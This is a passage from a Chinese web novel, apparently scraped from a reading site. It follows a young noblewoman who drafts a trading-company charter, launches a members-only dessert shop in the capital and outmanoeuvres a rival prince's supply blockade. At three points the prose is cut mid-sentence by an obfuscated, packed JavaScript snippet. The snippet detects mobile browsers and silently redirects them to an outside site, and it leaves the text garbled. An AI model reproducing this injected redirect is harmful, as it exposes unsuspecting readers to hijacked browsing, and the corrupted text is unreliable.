“对。”崔云姝的笔尖,重重一点,“整个大秦,符合这个条件的,只有一家。” 崔家。 崔温的呼吸,猛地一滞。 他终于,终于有点明白女儿的意思了。 这是一个圈套。 一个用华丽的辞藻和闻所未闻的概念,编织起来的,精妙绝伦的圈套! 她给了他们一个“董事会”,一个看似至高无上的权力机构,却又用一个“技术股东”的门槛,把这个机构里最重要的“提案权”,死死地锁在了自己手里! 没有提案,他们开什么会?讨论今天天气好不好吗? “第三条,利润分配与强制再投资。” 崔云姝的声音,已经不带任何感情。 “每年公司所得的所有利润,最多只能拿出三成,用来给所有股东分红。剩下的七成,必须强制性地,投入到公司的再发展中去。用来造更多的船,更大的船;用来开拓更远的航线;用来建立更多的海外商站;用来招募和训练最好的水手。” “为什么?”宋氏忍不住问,“赚了钱,多分一些给他们,他们不是更高兴吗?” “不。”崔云姝摇了摇头,“娘,你想想看,当他们的身家性命,都和这家公司绑在一起的时候;当他们每年能拿到的红利,都取决于我们能造出多少新船,开拓多少新航线的时候……他们是希望我们停下来,还是希望我们走得更快,更远?” “我们,要把所有人的贪婪,都变成我们船队扩张的燃料。他们会比我们自己,更希望看到这支船队,变得越来越庞大,越来越无敌。因为船队的强大,就等于他们钱袋的厚度。” 书房里,陷入了长久的,死一般的寂静。 只剩下崔云姝笔尖划过纸面的,沙沙声。 崔温看着灯下那个专注的侧影,感觉自己像在看一个陌生人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469658|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他几十年来在官场上学到的所有权谋、制衡、妥协之术,在女儿这套简单、粗暴、却又直指人心的“商业法则”面前,显得如此幼稚,如此可笑。 这不是阴谋。 这是阳谋。 是把所有人的欲望都摆在台面上,然后用一套无懈可击的规则,将这些欲望,引导向她想要的方向。 他忽然感到一阵彻骨的寒意,紧接着,又是一阵无法抑制的,战栗般的兴奋。 可是…… “姝儿,”他终于找到了自己的声音,艰难地开口,“你说的这些……都太好了。好得……不像是真的。我们只占那么一点点股份,他们……他们凭什么会同意,把经营权这么重要的东西,交给我们?就凭一个‘技术股东’的名头?万一他们联合起来,强行修改章程呢?” 这是最致命的问题。 也是所有计划的根基。 如果这一点无法成立,那么所有的一切,都只是空中楼阁。 崔云姝停下了笔。 她抬起头,看着父亲那双写满了疑虑和恐惧的眼睛,平静地回答: “爹,正是因为我们占股少,才显得我们‘大公无私’。我们不是为了自己赚钱,我们是为了带着大家一起发财。” “至于经营权……” 她笑了。 那是一种洞悉了一切的,带着一丝怜悯的,仿佛神明在俯视众生的笑。 “我们会给他们一份东西。一份他们看过之后,就再也无法拒绝的,盈利预期报告。” “我会告诉他们,如果由我来经营,这家公司,第一年,能赚回他们投资的一半。第三年,能翻一倍。第五年,能翻五倍。第十年,他们每个人,都能成为富可敌国的存在。” “我会用他们看得懂的数字,画一张大饼。一张大到让他们只要看一眼,就会口干舌燥,心跳加速,会把所有理智都抛到脑后的大饼。” “当贪婪压倒了理智,他们就会主动把权力交出来。因为他们会相信,只有把刀柄交到最会用刀的人手里,他们才能分到最大块的肉。” “这是人性,爹。改不了的。” 懒得再说了。 该说的,都说完了。 崔温彻底被镇住了。 他呆呆地看着自己的女儿,看着那份写满了陌生词汇,却又字字珠玑,仿佛蕴含着某种天地至理的《章程草案》。 他忽然意识到,这已经不是什么商业文件了。 这是一份……宣言。 是一份他这个年仅十六岁的女儿,向这个庞大的,腐朽的,以皇权为尊的帝国,发出的,一份重新制定游戏规则的宣言。 她不是在自救。 她是在创造一个新世界。 一个用金钱、欲望和规则构成的,属于她的新世界。 崔云姝放下笔,轻轻地吹了吹纸上的墨迹。 她的心里,前所未有的平静。 那本纠缠了她三年的,预言她和家族悲惨命运的“书”,在这一刻,仿佛已经变成了一堆无足轻重的,可笑的废纸,被她彻底抛在了脑后。 从今天起。 她,将亲手书写自己的规则。 她,将亲手掌握自己的命运。 35.第 35 章 那份写满了墨色淋漓、字字惊心的《大秦皇家海洋贸易股份有限公司章程草案》被小心翼翼地收了起来,藏进了书房最深处的暗格里 。 它像一头被暂时囚禁起来的猛兽,静静地蛰伏着,等待着被投放到朝堂那个巨大斗兽场的那一天。 崔云姝知道,从父亲崔温将这份章程的初稿,通过太子的渠道,递交给议事小组的那一刻起,一场看不见刀光剑影,却比任何战场都更加凶险的战争,已经打响了 。 接下来,将是漫长的,足以将人意志磨成粉末的拉锯,是每一个字,每一个标点符号背后的利益交换和权力博弈 。 她不能把所有的希望,都压在这头猛兽身上 。 因为它太庞大,太不可控。它是一场豪赌,赌注是整个崔家的未来,赌桌的另一边,坐着的是这个帝国最有权势的一群人。赢了,崔家从此海阔天空;输了,万劫不复。 而崔云姝,从来不喜欢把命运完全交托给赌局。 她需要一条后路。 一条不依赖于任何人,不依附于任何势力,完完全全,彻彻底底,只属于她自己的后路 。一条能为她源源不断地提供现金,能在最危急的时刻,让她拥有掀桌子走人的底气的后路。 清姝院里,水榭旁的暖阁中,炭火烧得正旺。 宋氏看着坐在对面的女儿,心中五味杂陈。 自从那道要命的圣旨下来之后,她感觉自己像是在一场醒不过来的梦里。先是灭顶的绝望,再是女儿那番惊世骇俗的“股份制”言论带来的震撼,然后是丈夫在朝堂上有惊无险地稳住阵脚…… 这一切,都围绕着眼前这个年仅十六岁的女儿在旋转。 她看着崔云姝慢条斯理地煮着茶,那双曾经只会因为看新奇话本而发亮的眼睛,此刻平静得像一潭深不见底的湖水。 宋氏的心,既感到前所未有的骄傲,又感到一阵阵难以言喻的心疼。 她这个女儿,好像一夜之间,就长成了她看不懂的模样。 “娘,”崔云姝将一杯冒着热气的茶推到宋氏面前,打破了沉默,“皇家船运公司的事,急不得。朝堂上的博弈,短则三五个月,长则一年半载,才会有结果。” “娘知道。”宋氏接过茶杯,温热的触感让她纷乱的心绪稍稍安定,“只是……娘总觉得心里不踏实。那些人,都是吃人不吐骨头的狼。我们……真的能赢吗?” “能赢。”崔云姝的回答,简单而肯定。但她没有再多做解释。 她话锋一转,问道:“娘,您还记得,我之前献上制冰法时,陛下赏赐的那座位于朱雀大街的铺面吗?” 宋氏一愣,点了点头:“自然记得。那可是寸土寸金的地段,一直空着,娘还想着,是该租出去,还是开个寻常的绸缎铺子……” “我们不开绸缎铺子。”崔云姝打断了她,“我们开一家,整个大秦,不,整个天底下,都从未有过的店。” 她一边说,一边从身旁的矮几上,拿起了一本早已准备好的册子,递给了宋氏 。 册子不厚,封面是素雅的月白色,上面用娟秀的小楷写着三个字。 “云间阁”。 宋氏疑惑地翻开册子。 第一页,是一幅精美绝伦的店铺效果图。那是一种她从未见过的装潢风格,明亮,雅致,落地的大片玻璃窗(她不知道那叫玻璃),精致的桌椅,墙上挂着不知名的画作。这不像个铺子,倒像是个文人雅士吟诗作对的清谈之所。 “这是……茶楼?” “不。”崔云姝摇了摇头,脸上露出了一丝神秘的微笑,“这是一家甜品店。” “甜品店?”宋氏更糊涂了,京城里的糕点铺子车载斗量,有什么稀奇的?值得用上朱雀大街的铺面? 她继续往下翻。 然后,她的呼吸,就一点点地,变得急促起来。 册子上,画着各种她闻所未闻,见所未见的“甜品”。 一种被称作“生日蛋糕”的东西,层层叠叠的松软糕体,外面涂抹着雪白细腻的,被称作“奶油”的膏状物,上面还点缀着鲜红欲滴的果子 . 一种盛在琉璃杯里,色彩缤纷,晶莹剔透,被称作“慕斯”的甜品 。 还有各种形状各异,小巧玲珑,看起来就让人食指大动的“曲奇”、“泡芙”、“马卡龙”…… 每一款甜品的旁边,都详细标注着制作所需的原料和大致的工序。其中许多东西,比如“奶油”的打发,“烤炉”的特殊设计,都是宋氏从未想象过的。 “姝儿,这些……这些都是你想出来的?”宋氏的声音里充满了难以置信的震惊。 “是。”崔云姝平静地点头,“女儿不才,就喜欢琢磨些吃食。” 懒得解释了。 宋氏的手指,抚过那些精美的图画,她仿佛已经能闻到那股甜腻诱人的香气。她是一个女人,她比任何人都清楚,这些东西一旦面世,会对京城的贵妇小姐们,产生怎样致命的吸引力。 这已经不是一本计划书了。 这是一座金矿。 一座足以让全京城的女人都为之疯狂的金矿! 但,真正让宋氏感到震撼的,还在后面。 在产品介绍之后,是更让她感到头晕目眩的经营方略 . 第一,市场定位:专攻京城最顶层的贵妇与贵女圈层 。云间阁卖的不是甜品,是身份,是品味,是一种引领潮流的社交资本。 第二,营销策略:会员制、限量供应、饥饿营销 。 “会员制?”宋氏看着这三个字,彻底无法理解了,“开门做生意,为何还要设门槛?岂不是把客人都挡在了外面?” “娘,我们的客人,不需要那么多。”崔云姝耐心地解释道,“我们只做最顶层那一小撮人的生意。会员卡分为三等,金、银、玉。只有办理了会员卡,才有资格进店消费,才有资格预定最新的甜品。而且,越是高级的会员,能享受到的服务就越优先。” “这……这不是把人分成三六九等吗?那些没办上卡的,岂不是要怨恨我们?” “她们不会怨恨,她们只会想方设法,让自己也成为会员。”崔云ishu的眼中闪过一丝洞悉人性的光芒,“当拥有云间阁的会员卡,成为一种身份的象征时,它就拥有了价值。我们卖的,就不再仅仅是甜品了。” 宋氏似懂非懂。 “那限量供应和饥饿营销又是什么?” “就是我们每天只做那么多,卖完就关门。越是难得到的东西,人们就越想要。我们要让京城的贵女们,以能抢到一份云间阁的‘当日限定’为荣,让她们为了一个‘生日蛋糕’的预定名额,争破了头。” “我们要让‘云间阁’,成为她们社交圈里,最值得炫耀的谈资。今天谁去了云间阁,明天谁预定到了新款的慕斯,这些,都会成为她们之间新的话题。如此一来,我们还需要愁客人不上门吗?” 宋氏彻底不说话了。 她呆呆地看着女儿,看着那本薄薄的册子,感觉自己的脑子,像是被塞进了一团乱麻,却又在乱麻之中,看到了一条清晰无比的,通往财富之巅的金色大道。 她几十年来掌管中馈,自以为对人情世故、经营算计已经了然于胸。可直到今天,她才发现,在女儿面前,自己那点手段,简直如同孩童的玩意儿。 “姝儿……”许久,宋氏才找回自己的声音,她合上册子,眼神无比复杂地看着女儿,“你想让娘做什么?” 她是个聪明人,她知道,女儿拿出这份计划书,绝不仅仅是让自己看个新奇。 “我需要一个合伙人。”崔云姝的目光,坦然而真诚,“一个能帮我处理所有对外事务,能镇得住场子,能以主人的身份,将云间阁的格调撑起来的合伙人。” “我隐于幕后,负责产品和经营。您,走到台前,当这家店的东家,当它的‘董事长’。” “董事长?”又是一个新词。 “就是权力最大的那个人。”崔云姝笑了笑,“女儿不方便抛头露面,但娘可以。以您的身份,去和那些王妃、诰命夫人们打交道,再合适不过。而且……” 她顿了顿,声音里带上了一丝撒娇般的意味:“女儿手上,可没那么多启动的银子。这铺面要装潢,要买器具,要备料,还要养上一批专门培训的厨子……处处都要花钱。所以,我想请我的‘董事长’,做我的第一个‘天使投资人’。” 宋氏看着女儿眼中那狡黠的光,再也忍不住,噗嗤一声笑了出来。 之前所有的担忧、心疼、陌生感,都在这一刻,烟消云散。 这还是她的女儿。 是那个聪明、大胆,偶尔还会跟她耍点小心机的,她最疼爱的女儿。 “好。” 宋氏没有丝毫犹豫,用力地点了点头,眼中是从未有过的,璀璨的光芒 。 “我把我所有的嫁妆,都拿出来,投给你!就当……就当是娘,陪你再疯一次!” 母女二人的手,紧紧地握在了一起 。 崔云姝的心中,涌起一股暖流。她知道,从这一刻起,她不再是孤军奋战。她有了这个世界上,最坚实,最可靠的后盾 。 懒得再等了。 计划,立刻启动 。 早已被崔云姝派人暗中勘察好的铺面,立刻开始了热火朝天的装潢。 一批从崔家家生子里挑选出来的,最机灵、嘴巴最严的厨子,被秘密送到了京郊的庄子里,开始了封闭式的“岗前培训”。 一切,都在以一种超乎想象的效率,有条不紊地进行着。 半个月后。 京城最繁华的朱雀大街上,一家装潢得如同仙境般的店铺,悄然挂上了牌匾。 “云间阁”。 宋氏一身盛装,站在店铺的门前,看着身边那个一脸平静,仿佛这一切都理所当然的女儿,心中充满了对未来的无限期待 。 一个新的商业传奇,即将拉开序幕 。 而远在皇宫深处,还在为“公司章程”里的某个条款而与群臣角力的皇帝,和那些自以为掌控了一切的王公贵族们,绝对不会想到。 在他们眼皮子底下,一只真正的潜龙,已经悄无声息地,掘开了属于她自己的,第一条入海的河道 。 第三十七章:一店风靡京华,二殿下暗生忌 京城疯了。 为了一块糕点。 朱雀大街,自打前朝定都以来,就没这么堵过。不是因为皇帝出巡,也不是因为哪个王爷娶亲。是因为一家新开的铺子,一家叫“云间阁”的铺子 。 马车,一辆接着一辆,从街头排到街尾,把整条路堵得水泄不通。上好的金丝楠木车厢,雕花的,镶玉的,挂着流苏的,全都挤在一起,像一堆被随意丢弃的华丽玩具。车夫们烦躁地咒骂着,马匹不安地打着响鼻,喷出的热气在微凉的秋日空气里,凝成一团团白雾。 车里的人,却连半句怨言都没有。 她们只是撩起车帘一角,用最矜持的姿态,伸长了脖子,眼巴巴地望着那个方向。 云间阁。 那家店的门脸,其实并不算顶奢华。没有俗气的描金画凤,只有大片大片的,据说是从海外运来的,像冰一样透明的琉璃窗。透过那窗子,能隐约看到里面雅致的桌椅,和墙上挂着的,看不懂却觉得极有格调的画。 最要命的,是那股子从门缝里飘出来的味道。 一股甜丝丝的,带着浓郁奶香和果子芬芳的味道。 那味道像一只无形的手,勾着所有路过的人的魂儿。让他们走不动道,只想凑过去,看看到底是什么神仙玩意儿。 “我的天,那是英国公府的马车吧?他们家的小姐,听说昨天就派人来排队了,都没拿到号。” “何止英国公府,你瞧那边,挂着安阳公主府徽记的,也堵在那儿呢!” “嘘……小声点,我听说,要想进那家店,得先办什么‘会员’。分三等呢,玉卡,金卡,银卡。没卡,你就算把金子堆成山,人家也不让你进门!” “什么?开门做生意,还有把客人往外推的道理?” “这你就不知道了吧。这叫格调!我听我那在尚书府当差的表哥说,如今京城里的贵女们,见面聊的都不是新出的簪子和衣裳了,聊的是谁有云间阁的卡,谁预定到了下个月的‘生日蛋糕’!” 生日蛋糕。 又是一个闻所未闻的词。 但就是这些闻所未闻的东西,像一块巨石,砸进了京城贵妇圈这潭沉静了几十年的死水里,掀起了滔天巨浪。 能拥有一张云间阁的会员卡,尤其是一张据说只发了不到二十张的“玉卡”,已经取代了“拥有一套南海珍珠头面”,成了衡量一个女人身份地位的最新标准 . 崔云熙,未来的太子妃,此刻就坐在这场风暴的中心。 她看着自己面前那块被称作“黑森林”的蛋糕,巧克力色的糕体,雪白的奶油,还有顶上那颗鲜红欲滴的樱桃,嘴角不自觉地上扬。 她身边的闺蜜们,京城最顶尖的一小撮贵女,正叽叽喳喳地讨论着这不可思议的美味。 “天哪,云熙,这……这‘奶油’到底是什么做的?怎么能像云朵一样又甜又软?” “还有这糕体,松软得不像话!我以前吃的那些糕点,跟它一比,简直就是砖头!” “我娘说了,下个月我及笄,无论如何也要预定一个这样的‘生日蛋糕’!云熙,你可得帮我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐景明手里捏着一个白玉茶杯,指节因为用力而微微泛白。他听着属下的汇报,脸上没什么表情,但那双阴鸷的眼睛里,却像是结了一层厚厚的冰。 “……据估算,‘云间阁’开业仅半月,流水已超过五十万两白银。其纯利,更是高得吓人……” “……如今京中贵妇,无不以拥有其会员卡为荣,就连宫里的几位娘娘,都派人出来打听了……” “……崔家大小姐,未来的太子妃,更是日日在那设宴,为其造势……” 啪。 一声脆响。 上好的白玉茶杯,被他生生捏碎了。 锋利的瓷片划破了他的手掌,鲜血顺着他的指缝,一滴一滴地,落在地上,像一朵朵绽开的,小小的,血红色的梅花。 他却感觉不到疼。 他只觉得,一股子夹杂着嫉妒和屈辱的怒火,从他的胸腔里,猛地烧了起来,烧得他五脏六腑都在疼。 崔家! 又是崔家! 又是那个崔云姝! 在朝堂上,他被那个该死的“股份公司”搞得灰头土脸,眼睁睁看着一块天大的肥肉,就这么被太子党瓜分 。 他忍了。 他想着,不过是些虚名浮利。只要他能熬到父皇百年之后,坐上那个位子,这些东西,他随时都能拿回来。 可现在呢? 这个崔云姝,转过头,就又给他弄出个“云间阁”! 这不是一家店。 这是在打他的脸! 这是在用白花花的银子,告诉全天下的人,他唐景明,斗不过太子,更斗不过崔家! 这每一分钱,每一两银子,都会变成太子招兵买马的军饷!都会变成射向他胸口的,淬了毒的箭! 他不能再忍了! 再忍下去,他就真的完了! “来人。” 他的声音,嘶哑得像是从地狱里爬出来的恶鬼。 一个黑影,悄无声息地出现在他身后。 “殿下。” “本王要那家店,死。”唐景明看着自己流血的手,一字一顿地说道,“本王不管你用什么办法,一个月之内,我要让‘云间阁’三个字,成为京城最大的笑话。我要让崔家,血本无归!” “是。” 黑影领命,又悄无声息地退了出去。 书房里,只剩下唐景明一个人。 他缓缓地,用没受伤的那只手,拿起一块丝帕,仔细地擦拭着手上的血迹。 他的动作很慢,很优雅。 但他的眼神,却像一条盯住了猎物的毒蛇,充满了冰冷的,不择手段的杀意。 崔云姝…… 我们,很快就会再见面的。 …… 夜,深了。 云间阁顶楼的雅间里,只剩下崔云姝一个人。 白天的喧嚣已经散去,只剩下空气中还未完全消散的,甜腻的香气。 她看着账本上那一串串惊人的数字,心里却没有半分喜悦。 她知道,这只是开始。 她知道,她把动静搞得这么大,必然会引来饿狼。 果然。 雅间的门,被人轻轻敲响了。 是唐璞。 他脱下了便服,换上了一身禁军的黑色劲装,整个人看起来,像一把出了鞘的,锋利的刀。 他的脸上,没有了白天的惊叹,只有一片凝重。 “出事了。”他一进来,就直接开口,声音压得很低。 崔云姝抬起头,静静地看着他。 “我的人刚从军机处截获消息,”唐璞走到她面前,眼神里带着一丝她熟悉的,属于“盟友”的担忧,“二皇子那边,有动作了。他们准备从原料上下手,釜底抽薪。” “他们买通了所有能给你们供货的果农和奶牛场,还控制了京城所有的糖霜铺子。他们的计划是,让你无料可用,自己关门。” 崔云姝听着,脸上依旧没什么表情。 她只是端起桌上已经凉透了的茶,轻轻抿了一口。 唐璞看着她这副气定神闲的样子,心里那点担忧,忽然就变成了一种更深层次的,混合着钦佩和好奇的情绪。 他不相信她没有预料到。 他想看看,他的这位“首席谋主”,面对这种最直接,最无赖的商业打击,又要如何应对?她那颗仿佛能算计到一切的脑子里,又藏着怎样惊世骇俗的计策? 他看着她,等着她开口。 等着她下达,下一道指令。 36.第 36 章 风,是从市井的犄角旮旯里最先刮起来的 。 带着一股子幸灾乐祸的,看热闹不嫌事大的潮湿味道。 “听说了吗?朱雀大街那家‘云间阁’,要关门了!” “不能吧?前些日子不还一位难求,马车都快把路给堵死了?” “嗨,这你就不知道了。我那在南城果栏里当伙计的表弟说的,全京城,连带周边几十个庄子,没有一颗果子,没有一滴牛乳,再敢卖给他们家了!” “真的假的?谁这么大本事?” “嘘……不想活了?听说是上头的人发了话,谁敢卖,谁就等着倾家荡产吧!你瞧瞧,云间阁门口那几个果农,不就在那儿哭天抢地呢吗?” 声音像是黏腻的蛛网,在京城的大街小巷里迅速蔓延。 崔云姝就坐在云间阁顶楼的雅间里,那扇巨大的,像冰一样透明的琉璃窗,正好对着楼下乱糟糟的街景。 她能看见。 看见那个往日里一直给店里送最新鲜牛乳的王大婶,此刻正坐在地上,拍着大腿,哭得一把鼻涕一把泪。她的牛,被城西的屠户用三倍的价钱买走了,说是要做成酱牛肉。她不卖,屠户就说她家的牛得了瘟病,要报官。 她还能看见。 那个从京郊专门送草莓过来的李家小子,他那一车本该送到店里的,鲜红欲滴的果子,被一群地痞当街掀翻在地,踩得稀巴烂。地痞们丢下一句“这地儿的果子,爷包了”,就扬长而去。 她甚至能闻到。 空气中,那股子属于新鲜水果的,甜美的香气,正在被尘土和绝望的馊味一点点吞噬。 她什么都没做。 就这么静静地看着。 手里的茶,已经凉透了。 “姝儿!” 雅间的门被猛地推开,母亲宋氏一阵风似的冲了进来。她的脸上没有一丝血色,那双保养得宜的手,因为用力而微微颤抖着,手里还捏着一张刚刚送来的,来自城南糖霜铺的“绝交信” 。 “外面……外面都传疯了!”宋氏的声音里带着哭腔,“所有给我们供货的铺子,全都断了!就连我们自家庄子上送来的东西,都在半道上被劫了!这可怎么办啊,姝儿?这可怎么办啊!” 她看着女儿。 看着她还安安稳稳地坐在那里,看着窗外,脸上没有一丝波澜,平静得像是在看一场和自己毫不相干的皮影戏。 宋氏的心,像是被一只冰冷的手狠狠攥住,疼得她快要喘不过气来。 “你……你怎么一点都不急啊!”她终于忍不住,带着一丝绝望的哭喊。 崔云姝缓缓地,缓缓地转过头。 她的目光,落在母亲那张写满了惊惶的脸上,平静地问: “娘,您信我吗?” 宋氏一愣。 “我……” “那您就先回府歇着。这两日,陪着爹,看看戏,听听曲儿。”崔云姝站起身,走到母亲身边,轻轻地帮她理了理鬓边散乱的发丝,“店里的事,交给我。” “可是……” “没什么可是的。”崔云姝的声音很轻,却带着一种不容置疑的力量,“不过是风大了些,吹倒了几棵树而已。等风停了,就好了。” 她把母亲半推半劝地送出了雅间。 然后,她转过身,对着身后一直沉默侍立的掌柜,下达了一连串让所有人都匪夷所си所思的命令。 “传我的话,从明日起,云间阁所有甜品,每日限量供应十份。” “对外就说,原料短缺,难以为继。” “京城其余几家分店,暂时关闭,遣散部分伙计,告诉他们,等风头过了,随时可以回来,工钱双倍。” 掌柜的脸色,瞬间变得和宋氏一样惨白。 完了。 这是……要认输了? 懒得解释。 崔云姝挥了挥手,示意他照办。 整个世界,仿佛都在等着看她的笑话。 …… 二皇子府。 酒过三巡。 张格,那位在朝堂上第一个跳出来痛斥崔温的户部尚书,此刻满脸红光,举着酒杯,对着首座上的唐景明,谄媚地笑道: “殿下!真是神机妙算,高!实在是高啊!” “区区一个崔家女,仗着有几分小聪明,就敢在京城里兴风作浪!如今,还不是被殿下您动动手指,就给摁死了!” 另一个幕僚也跟着附和:“是啊殿下!如今我们已经囤积了京城周边八成的鲜果、牛乳和糖霜。那云间阁,就是有天大的本事,也做不出东西来了!我听说,他们今天已经开始关店裁人了!不出三日,必然倒闭!” 唐景明端着酒杯,脸上挂着一丝快意的,冰冷的笑容。 他喜欢这种感觉。 这种将对手的命脉死死攥在手心,看着对方在绝望中挣扎,却无能为力的感觉。 “那些囤积的原料,打算如何处置?”他淡淡地问。 “回殿下,”张格眼珠一转,计上心来,“那些鲜果牛乳,放着也是烂掉。不如这样,等那云间阁彻底撑不下去的时候,我们再派人去找他们,假意说可以高价卖给他们。等他们求上门来,我们再狠狠地羞辱他们一番,最后把那些烂掉的果子,丢在他们店门口!岂不是大快人心!” “至于那些糖霜面粉,不怕坏。等他们倒了,京城里就只剩下我们的人在做这生意,到时候,价格还不是我们说了算?” “好!”唐景明一拍桌子,放声大笑,“就这么办!本王要让崔家,让太子,都好好看看!跟本王作对,是什么下场!” 书房里,充满了胜利者们的,猖狂的笑声。 他们仿佛已经看到了云间阁倒闭,崔家颜面扫地,崔云姝跪在他们面前摇尾乞怜的景象。 他们不知道。 就在他们弹冠相庆的时候。 一张更大的网,已经悄无声息地,在他们头顶,缓缓张开 。 …… 夜,三更。 一辆不起眼的黑色马车,悄无声息地驶出了崔府的后门,一路向着京郊的方向驶去。 车里,只坐着崔云姝和宋氏。 宋氏这两日,觉都睡不着。她不明白,女儿为什么会下那样的命令,那不是示弱,那是投降。她今天,是抱着最后一丝希望,跟着女儿出来的。 马车最终停在了一处看似平平无奇的庄园门口。 这里是崔家几十年前置下的一处偏僻产业,连许多族老都快忘了它的存在。 崔云姝扶着母亲下了车。 一走进庄园,宋氏就彻底愣住了。 没有想象中的荒凉。 映入眼帘的,是一排排巨大而整齐的,用木头和琉璃瓦搭建起来的,奇怪的房子。房子里,灯火通明。 “这是……暖房?”宋氏震惊地问。 “是。” 崔云姝推开其中一扇门。 一股混杂着泥土芬芳和浓郁果香的热浪,扑面而来。 宋氏的眼睛,瞬间睁大了。 只见那巨大的暖房里,一排排的架子上,种满了各种各样的果子。鲜红的草莓,紫色的葡萄,甚至还有几株挂着金黄色果实的,她从未见过的树。 在外面冰冷的秋夜里,这里,却温暖如春,生机盎然 。 “这些……” “这是女儿一年前,就开始准备的。”崔云姝的声音,在寂静的暖房里,显得格外清晰,“从我们决定要开云间阁的那一刻起,我就知道,原料,会是我们最大的命门。所以,我从未真正依赖过外面的那些供应商。” 她带着已经说不出话来的母亲,走出了暖房,又走向了庄园的另一侧。 那里,是一排排干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482391|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整洁的牛棚和羊圈,几百头膘肥体壮的奶牛和奶羊,正在悠闲地吃着草料。旁边,还有一个独立的作坊,专门用来处理每日产出的新鲜牛乳。 “我们自己的奶源,自己的果园。甚至……”崔云姝指着不远处一个正在连夜赶工的作坊,“我们还有自己的糖坊。” 宋氏顺着她手指的方向看去,只看到那里灯火通明,似乎在熬煮着什么东西,一股极其特殊的,带着一丝微苦的甜香,顺着夜风飘了过来。 “那是什么味道?” “巧克力。”崔云姝的嘴角,终于勾起了一抹笑意,“一种,比糖霜更美味,更稀罕的东西。” 她转过头,看着母亲那张写满了震撼的脸,一字一顿地说道: “娘,现在,您还觉得,我们会输吗?” 宋氏的眼眶,瞬间就红了。 那不是悲伤的眼泪,是激动的,是骄傲的,是如释重负的泪水。 她用力地,用力地摇了摇头。 …… 第二天。 就在二皇子党羽等着看云间阁关门大吉的好戏时。 就在全京城都以为这场商业战争已经落下帷幕时。 云间阁,重新开业了。 不仅开业了,还在门口挂出了一块巨大的牌子,上面用漂亮的楷书写着: “庆贺‘冬季限定’系列上新,凡持卡会员,今日所有消费,一律半价!” 人群,瞬间炸了。 当那扇紧闭了数日的大门缓缓打开时,一股比以往任何时候都更加浓郁,更加诱人的香气,猛地涌了出来。 不是单纯的果香和奶香。 而是一种全新的,带着一丝神秘的微苦,和更加醇厚甜美的味道。 人们蜂拥而入。 然后,他们看到了柜台上那些让他们毕生难忘的,全新的甜品。 通体漆黑,点缀着金箔的“黑金巧克力蛋糕”。 用各种颜色的果干和蜜饯,装饰得如同宝石盒子一般的“干果挞”。 还有盛在精致小碗里,呈现出一种丝滑质感的,热气腾腾的“热巧克力饮”。 疯了。 客人们彻底疯了。 这些东西,比之前的任何一款甜品,都更加美味,更加新奇,更加……昂贵。 然而,在“半价”的巨大诱惑下,没有人犹豫。 仅仅一个上午,所有“新品”,被抢购一空。 云间阁的门口,再次被堵得水泄不通。 而此时,二皇子府上,张格正惊慌失措地向唐景明汇报。 “殿……殿下,不好了!我们囤的那些鲜果,已经开始烂了!再不出手,就全完了!” 唐景明脸色铁青,一脚踹翻了面前的桌子。 “卖!给我降价卖!能收回多少是多少!”他嘶吼道。 然而,已经晚了。 就在他们手忙脚乱地降价抛售时,云间阁的掌柜,带着几分悲天悯人的微笑,找到了他们。 “听闻几位东家手上有批糖霜面粉急于出手?小店不才,愿意……按市价五成的价格,全部吃下。” 张格等人,看着自己手里那堆已经快要发霉的货物,再看看云间阁门口排起的长龙,一口老血,差点当场喷了出来。 他们输了。 输得一败涂地,体无完肤。 顶楼的雅间里。 崔云姝看着楼下那片喧闹,听着掌柜报上来今天恐怖的流水,和用白菜价收购了对手所有库存的捷报。 她的脸上,依旧没什么表情。 她只是端起一杯新沏的热茶,轻轻抿了一口。 茶香,醇厚悠长。 这场小小的战争,结束了。 但她知道,真正的博弈,在朝堂,在那份还未最终定稿的《公司章程》里。 这,不过是开胃小菜而已。 37.第 37 章 崔元珏觉得自己的头,快要炸开了 。 不是那种宿醉后的,钝钝的疼。 是一种更尖锐的,像是有人用一根烧红的铁钎,在他脑子里来回搅动,把所有的思绪都搅成了一锅滚烫的,冒着绝望热气的烂粥。 东宫的书房里,很静。 静得能听见自己的心跳声,一声,又一声,沉闷地,徒劳地,撞击着他的胸骨。 他面前的桌案上,摊着一卷宗。 是关于漕运贪腐案的初步卷宗 。 上面的每一个字,他都认识。可它们连在一起,就像一堆活过来的,黑色的蚂蚁,在他眼前爬来爬去,钻进他的脑子里,啃噬着他那点可怜的自信和自尊。 线索,在扬州就断了。 负责押运的官员,暴毙。账目,被一场“意外”的火灾烧得干干净净。所有的人证,都众口一词,说是遭遇了百年不遇的风浪,漕船倾覆,官粮尽数沉入了江底 [45]。 天衣无缝。 一个完美到令人齿冷的闭环。 可谁都知道,这是假的。 那失踪的三十万石官粮,足以让整个二皇子派系在来年的朝堂上,挺直腰杆说话。 太子殿下,唐景承,就坐在他对面。 